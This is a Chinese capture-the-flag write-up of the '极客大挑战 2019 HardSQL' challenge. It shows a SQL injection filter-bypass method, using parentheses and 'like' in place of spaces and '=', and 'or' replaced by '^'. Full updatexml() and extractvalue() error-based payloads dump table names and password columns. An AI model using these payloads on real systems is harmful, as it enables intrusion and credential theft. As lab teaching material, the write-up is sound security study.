非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

题目环境:

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了

做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin

password:1
这里把参数password作为注入点


1'

单引号的字符型注入

万能密码注入
1' or '1'='1

万能密码注入被链接

猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符

Intruder字典爆破

光标选中参数password的值1-Add选择爆破目标

选用字典

Start attack开始爆破

OK

爆破结果:

741为过滤内容

可以看到很多字符=、--+、/**/和一些注入命令union、by、'1'='1等被过滤

继续测试

admin

1' or


可以看到被拦截了

通过刚才的字典爆破,可以知道1'和or是没有被过滤的

那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙
刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin

1'(or)

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码
1'or((1)like(1))#

可以看到绕过了空格限制

同时也登陆成功了

然后想到了之前做过很类似的一道题

SQL报错注入也用到了空格限制

(已经试了堆叠注入和联合注入都不行)

这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数

函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数

函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数

注入原理:

(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)

(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它

函数floor() mysql中用来取整的函数

函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入

爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到库名geek

查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

得到数据表H4rDsq1

爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

得到三个字段:id、username、password

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#


1'or(extractvalue(1,concat(0x7e,(select(database())))))#

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

相关推荐
九河云3 小时前
数字化转型中的网络安全风险与零信任架构实践
运维·科技·安全·web安全·架构
Elastic 中国社区官方博客5 小时前
在 Elasticsearch 中使用 Mistral Chat completions 进行上下文工程
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
编程爱好者熊浪6 小时前
两次连接池泄露的BUG
java·数据库
南宫乘风7 小时前
基于 Flask + APScheduler + MySQL 的自动报表系统设计
python·mysql·flask
TDengine (老段)8 小时前
TDengine 字符串函数 CHAR 用户手册
java·大数据·数据库·物联网·时序数据库·tdengine·涛思数据
qq7422349848 小时前
Python操作数据库之pyodbc
开发语言·数据库·python
姚远Oracle ACE8 小时前
Oracle 如何计算 AWR 报告中的 Sessions 数量
数据库·oracle
Dxy12393102169 小时前
MySQL的SUBSTRING函数详解与应用
数据库·mysql
码力引擎9 小时前
【零基础学MySQL】第十二章:DCL详解
数据库·mysql·1024程序员节
是Yu欸9 小时前
【博资考5】网安2025
网络·人工智能·经验分享·笔记·网络安全·ai·博资考